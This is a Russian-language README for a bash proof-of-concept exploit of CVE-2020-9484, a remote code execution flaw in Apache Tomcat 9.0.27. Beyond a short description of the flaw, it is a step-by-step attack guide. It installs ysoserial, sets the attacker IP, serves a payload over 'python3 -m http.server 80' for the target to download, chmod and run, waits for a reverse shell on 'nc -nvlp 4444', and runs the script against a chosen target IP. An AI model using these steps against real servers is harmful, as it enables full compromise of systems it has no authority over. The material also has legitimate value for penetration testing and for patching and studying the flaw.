
Apache Tomcat 9.0.27 уязвим к удаленному выполнению кода (CVE-ID: CVE-2020-9484). Другие версии также могут быть затронуты. Протестировано на Kali 2020.4 и JDK 8. Этот bash-скрипт является простым proof-of-concept. Только в образовательных целях.
Уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на целевой системе.
Уязвимость существует из-за небезопасной проверки входных данных при обработке сериализованных данных в именах загружаемых файлов. Удаленный злоумышленник может передать приложению специально созданное имя файла и выполнить произвольный код на целевой системе.
Успешная эксплуатация этой уязвимости может привести к полной компрометации уязвимой системы, но требует, чтобы сервер был настроен на использование PersistenceManager с FileStore, и чтобы злоумышленник знал относительный путь к файлу от места хранения.
Для использования скрипта необходим yoserial. Чтобы установить его:
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
Если yoserial уже установлен, обязательно переименуйте его в "yosorial-master.jar".
Чтобы установить скрипт, выполните:
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
Чтобы открыть меню помощи, выполните:
./CVE-2020-9484.sh --help
или
./CVE-2020-9484.sh -h
Сначала откройте скрипт и укажите свой IP-адрес в строке 14:
remote_ip="10.10.16.180" # change this
Этот скрипт создает файлы "payload.sh", "downloadPayload.session", "chmodPayload.session" и "executePayload.session" в текущем каталоге. Чтобы использовать эксплойт, вам нужно запустить простой listener на порту 80. Например, с помощью Python3 (запустите в той же папке, где вы запускаете скрипт):
sudo python3 -m http.server 80
Также убедитесь, что вы запустили netcat-listener на порту 4444:
nc -nvlp 4444
Теперь запустите скрипт, указав IP-адрес целевой системы, которую хотите атаковать:
./CVE-2020-9484.sh target-ip
Если не работает, убедитесь, что используется JDK 8. Чтобы проверить, какая версия у вас установлена, выполните:
java -version
Может не работать на JDK версии 12 или выше. Подробнее об этом читайте здесь.